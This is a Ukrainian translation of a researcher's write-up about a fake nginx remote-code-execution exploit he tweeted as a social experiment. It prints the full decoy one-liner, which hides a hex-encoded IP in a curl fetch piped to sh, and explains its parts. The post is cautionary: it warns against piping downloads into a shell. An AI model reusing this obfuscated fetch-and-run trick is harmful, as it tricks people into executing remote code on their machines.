Успіх соціального експерименту з підробленим експлойтом для nginx

Прим. перев.: Автор оригінальної нотатки, опублікованої 1 червня, вирішив провести експеримент у середовищі тих, хто цікавиться інформаційною безпекою. Для цього він підготував підроблений експлойт до нерозкритої вразливості у веб-сервері та розмістив його у своєму твіттері. Його припущення — бути миттєво викритим фахівцями, які побачать очевидний обман у коді, — не просто не виправдалися… Вони перевершили всі очікування, причому у зворотний бік: твіт отримав величезну підтримку від численних людей, які не перевіряли його вміст.

Успіх соціального експерименту з підробленим експлойтом для nginx

TL;DR: ні в якому разі не використовуйте конвеєризацію файлів у sh або bash. Це чудовий спосіб втратити контроль над комп'ютером.

Хочу поділитися з вами невеликою історією про жартівливий PoC-експлойт, який був створений 31 травня. Він з'явився оперативно у відповідь на новину від Alisa Esage Шевченка, члена Ініціатива нульового дня (ZDI), про те, що незабаром буде розкрита інформація про вразливість у NGINX, що призводить до RCE (віддаленого виконання коду). Оскільки NGINX лежить в основі багатьох веб-сайтів, новина повинна була зробити ефект бомби, що розірвалася. Але через затримки у процесі «відповідального розкриття» інформації подробиці події не були відомі — такою є стандартна процедура ZDI.

Успіх соціального експерименту з підробленим експлойтом для nginx
Твіт про розкриття вразливості у NGINX

Закінчивши роботу над новою технікою обфускації в curl, я процитував оригінальний твіт і «злив робочий PoC», що складається з одного рядка коду, який нібито використовує виявлену вразливість. Звичайно, це була повна нісенітниця. Я вважав, що мене відразу виведуть на чисту воду, і що в кращому разі я отримаю пару ретвітів (та й добре).

Успіх соціального експерименту з підробленим експлойтом для nginx
Твіт з підробленим експлойтом

Однак я не міг уявити, що сталося далі. Популярність мого твіту злетіла до неба. Дивно, але зараз (15:00 МСК 1 червня) досі мало хто усвідомив, що це фальшивка. Багато хто ретвітить його взагалі без перевірки (не кажучи вже про те, щоб помилуватися чарівною ASCII-графікою, яку він виводить).

Успіх соціального експерименту з підробленим експлойтом для nginx
Тільки подивіться, яка краса!

Хоча всі ці цикли та кольори чудові, зрозуміло: щоб їх побачити, люди виконували код на своїй машині. На щастя, браузери працюють аналогічно, і в поєднанні з фактом, що проблеми із законом мені зовсім не потрібні, код, захований у моєму сайті, лише робив виклики echo, не намагаючись встановлювати або виконувати будь-який додатковий код.

Невеликий відступ: netpooky, DNZя та інші хлопці з команди Thugcrowd вже деякий час граємо з різними способами обфускації curl-команд, тому що це прикольно… та ми гіки. netspooky і dnz виявили кілька нових способів, які здалися мені надзвичайно перспективними. Я приєднався до веселощів і спробував додати IP-десяткові перетворення до набору хитрощів. Виявилося, що IP також можна конвертувати у шістнадцятковий формат. Більше того, curl та більшість інших NIX-інструментів із задоволенням «їдять» шістнадцяткові IP! Таким чином, потрібно просто створити переконливий і безпечно виглядаючий командний рядок. Зрештою я зупинився на цій:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Соціо-електронна інженерія (SEE) – більше, ніж просто фішинг

Безпека та звичність були основною частиною цього експерименту. Думаю, що саме вони привели до його успіху. Командний рядок явно мав на увазі безпеку, посилаючись на "127.0.0.1" (усім відомий localhost). Вважається, що localhost є безпечним, а дані на ньому ніколи не залишають ваш комп'ютер.

Звичність була другим ключовим SEE-компонентом експерименту. Оскільки цільова аудиторія переважно складалася з людей, знайомих із основами комп'ютерної безпеки, важливо було створити такий код, щоб його частини здавалися знайомими та звичними (а тому безпечними). Запозичення елементів старих експлойт-концепцій та їх комбінування незвичайним способом виявилося досить успішним.

Нижче наведено докладний аналіз однострочника. Все у цьому списку носить косметичний характера для його реальної роботи практично нічого не потрібно.

Які компоненти дійсно необхідні? Це -gsS, -O 0x0238f06a, |sh та сам веб-сервер. Веб-сервер не містив жодних зловмисних інструкцій, а просто передавав ASCII-графіку за допомогою команд echo у скрипті, що міститься в index.html. Коли користувач вводив рядок з |sh у середині, index.html завантажувався та виконувався. На щастя, зберігачі веб-сервера не мали злих намірів.

  • ../../../%00 - Зображує вихід за межі директорії;
  • ngx_stream_module.so шлях до випадкового модуля NGINX;
  • /bin/sh%00<'protocol:TCP' - ми нібито запускаємо /bin/sh на цільовій машині та перенаправляємо виведення в TCP-канал;
  • -O 0x0238f06a#PLToffset - Секретний інгредієнт, доповнений #PLToffsetщоб виглядати як зміщення пам'яті, якимось чином міститься в PLT;
  • |sh; - Ще один важливий фрагмент. Нам потрібно було перенаправити висновок у sh/bash, щоб виконати код, що надходить з атакуючого веб-сервера, розташованого за адресою 0x0238f06a (2.56.240.x);
  • nc /dev/tcp/localhost - Пустушка, в якій netcat посилається на /dev/tcp/localhostщоб все знову виглядало безпечно. Насправді ж, нічого не робить і включений у рядок для краси.

На цьому закінчуються розшифровка однорядкового скрипту та обговорення аспектів «соціо-електронної інженерії» (вигадливого фішингу).

Конфігурація веб-сервера та заходи протидії

Оскільки переважна більшість моїх передплатників — інфобезпечники/хакери, я вирішив зробити веб-сервер трохи стійкішим до проявів «інтересу» з їхнього боку просто для того, щоб хлопцям було чим зайнятися (та й налаштовувати його було прикольно). Я не збираюся тут перераховувати всі пастки, оскільки експеримент все ще триває, але кілька речей, які сервер робить:

  • Активно відстежує спроби розповсюдження в певних соціальних мережах і підставляє різні мініатюри попереднього перегляду, щоб спонукати користувача перейти за посиланням.
  • Перенаправляє Chrome/Mozilla/Safari/ тощо на промо-ролик Thugcrowd замість того, щоб показати скрипт shell.
  • Слідкує за ЯВНИМИ ознаками вторгнення/грубого злому, після чого починає перенаправляти запити на сервери АНБ (ха!).
  • Встановлює троян, а також BIOS rootkit на всі комп'ютери, користувачі яких відвідують хост із звичайного браузера (жарт!).

Успіх соціального експерименту з підробленим експлойтом для nginx
Невелика частина антимір

В даному випадку моєю єдиною метою було освоєння деяких можливостей Apache, зокрема кльових правил перенаправлення запитів, і я подумав: а чому б і ні?

Експлойт NGINX (справжній!)

Підписуйтесь на @alisaesage у Твіттері та стежте за чудовою роботою ZDI з усунення цілком реальних уразливостей та можливостей для експлойтів у NGINX. Їхня робота завжди зачаровувала мене і я вдячний Алісі за терпіння, пов'язане з усіма згадками та повідомленнями, викликаними моїм безглуздим твітом. На щастя, він приніс і деяку користь: допоміг підвищити поінформованість про вразливості NGINX, а також проблеми, що викликаються зловживанням curl'ом.

Джерело: habr.com

Додати коментар або відгук